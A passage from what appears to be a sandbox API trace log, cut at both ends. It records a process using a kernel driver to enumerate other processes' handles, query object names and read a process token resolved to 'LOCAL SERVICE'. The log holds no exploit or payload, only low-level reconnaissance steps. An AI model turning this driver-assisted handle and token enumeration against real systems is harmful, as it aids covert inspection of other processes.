Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.041] PsAcquireProcessExitSynchronization () returned 0x0 [0137.041] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.041] ObReferenceObjectByHandle (in: Handle=0x1ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800351aab0, HandleInformation=0x0) returned 0x0 [0137.041] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.041] PsReleaseProcessExitSynchronization () returned 0x2 [0137.041] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.041] ObQueryNameString (in: Object=0xfffffa800351aab0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0137.041] ObfDereferenceObject (Object=0xfffffa800351aab0) returned 0x1 [0137.041] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.041] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.041] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.041] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0137.041] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.041] PsAcquireProcessExitSynchronization () returned 0x0 [0137.041] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880054735d0) [0137.041] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003504d10, HandleInformation=0x0) returned 0x0 [0137.042] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.042] PsReleaseProcessExitSynchronization () returned 0x2 [0137.042] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0137.042] ObQueryNameString (in: Object=0xfffffa8003504d10, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.042] ObfDereferenceObject (Object=0xfffffa8003504d10) returned 0x11 [0137.042] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.042] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.042] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0137.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.042] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002b78b30, HandleInformation=0x0) returned 0x0 [0137.042] ObOpenObjectByPointer (in: Object=0xfffffa8002b78b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000a64) returned 0x0 [0137.042] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb6 [0137.042] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a64, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.042] ZwClose (Handle=0xffffffff80000a64) returned 0x0 [0137.042] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.042] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.042] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.043] CloseHandle (hObject=0xc8) returned 1 [0137.044] CloseHandle (hObject=0xc0) returned 1 [0137.044] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.044] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.044] PsAcquireProcessExitSynchronization () returned 0x0 [0137.044] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.044] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800328c550, HandleInformation=0x0) returned 0x0 [0137.044] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.044] PsReleaseProcessExitSynchronization () returned 0x2 [0137.044] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.044] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.044] ObfDereferenceObject (Object=0xfffffa800328c550) returned 0x1 [0137.044] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.044] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.044] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.044] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.044] PsAcquireProcessExitSynchronization () returned 0x0 [0137.044] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.044] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800328d070, HandleInformation=0x0) returned 0x0 [0137.044] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.044] PsReleaseProcessExitSynchronization () returned 0x2 [0137.044] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.044] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.044] ObfDereferenceObject (Object=0xfffffa800328d070) returned 0x1 [0137.044] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.044] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.044] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0137.044] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.044] PsAcquireProcessExitSynchronization () returned 0x0 [0137.045] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.045] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003294510, HandleInformation=0x0) returned 0x0 [0137.045] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.045] PsReleaseProcessExitSynchronization () returned 0x2 [0137.045] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.045] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.045] ObfDereferenceObject (Object=0xfffffa8003294510) returned 0x1 [0137.045] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.045] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.045] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0137.045] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.045] PsAcquireProcessExitSynchronization () returned 0x0 [0137.045] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.045] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032943c0, HandleInformation=0x0) returned 0x0 [0137.045] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.045] PsReleaseProcessExitSynchronization () returned 0x2 [0137.045] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.045] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.045] ObfDereferenceObject (Object=0xfffffa80032943c0) returned 0x1 [0137.045] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.045] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.045] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0137.045] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.045] PsAcquireProcessExitSynchronization () returned 0x0 [0137.045] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.045] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003295070, HandleInformation=0x0) returned 0x0 [0137.045] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.045] PsReleaseProcessExitSynchronization () returned 0x2 [0137.045] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.045] ObQueryNameString (in: Object=0xfffffa80027ac060, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.045] ObfDereferenceObject (Object=0xfffffa8003295070) returned 0x1 [0137.045] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.046] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.046] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0137.046] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.046] PsAcquireProcessExitSynchronization () returned 0x0 [0137.046] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.046] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003295f20, HandleInformation=0x0) returned 0x0 [0137.046] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.046] PsReleaseProcessExitSynchronization () returned 0x2 [0137.046] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.046] ObQueryNameString (in: Object=0xfffffa80027b0c20, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.046] ObfDereferenceObject (Object=0xfffffa8003295f20) returned 0x1 [0137.046] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.046] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.046] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.046] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.046] PsAcquireProcessExitSynchronization () returned 0x0 [0137.046] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.046] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003295dd0, HandleInformation=0x0) returned 0x0 [0137.046] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.046] PsReleaseProcessExitSynchronization () returned 0x2 [0137.046] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.046] ObQueryNameString (in: Object=0xfffffa80027b0e40, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.046] ObfDereferenceObject (Object=0xfffffa8003295dd0) returned 0x1 [0137.046] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.046] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.046] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.046] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.046] PsAcquireProcessExitSynchronization () returned 0x0 [0137.046] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.046] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800329cab0, HandleInformation=0x0) returned 0x0 [0137.046] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.047] PsReleaseProcessExitSynchronization () returned 0x2 [0137.047] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.047] ObQueryNameString (in: Object=0xfffffa800329cab0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.047] ObfDereferenceObject (Object=0xfffffa800329cab0) returned 0x1 [0137.047] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.047] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.047] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0137.047] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.047] PsAcquireProcessExitSynchronization () returned 0x0 [0137.047] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.047] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032c3070, HandleInformation=0x0) returned 0x0 [0137.047] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.047] PsReleaseProcessExitSynchronization () returned 0x2 [0137.047] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.047] ObQueryNameString (in: Object=0xfffffa80032c3070, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.047] ObfDereferenceObject (Object=0xfffffa80032c3070) returned 0xe [0137.047] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.047] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.047] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0137.047] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.047] PsAcquireProcessExitSynchronization () returned 0x0 [0137.047] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.047] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800316ca60, HandleInformation=0x0) returned 0x0 [0137.047] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.047] PsReleaseProcessExitSynchronization () returned 0x2 [0137.047] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.047] ObQueryNameString (in: Object=0xfffffa800316ca60, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.047] ObfDereferenceObject (Object=0xfffffa800316ca60) returned 0x5 [0137.047] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.047] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.047] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0137.048] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.048] PsAcquireProcessExitSynchronization () returned 0x0 [0137.048] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.048] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003302990, HandleInformation=0x0) returned 0x0 [0137.048] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.048] PsReleaseProcessExitSynchronization () returned 0x2 [0137.048] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.048] ObQueryNameString (in: Object=0xfffffa8003302990, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.048] ObfDereferenceObject (Object=0xfffffa8003302990) returned 0x1 [0137.048] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.048] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.048] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.048] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.048] PsAcquireProcessExitSynchronization () returned 0x0 [0137.048] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.048] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.048] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.048] PsReleaseProcessExitSynchronization () returned 0x2 [0137.048] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.048] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.048] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.048] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.049] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.049] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.049] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.049] PsAcquireProcessExitSynchronization () returned 0x0 [0137.049] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.049] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 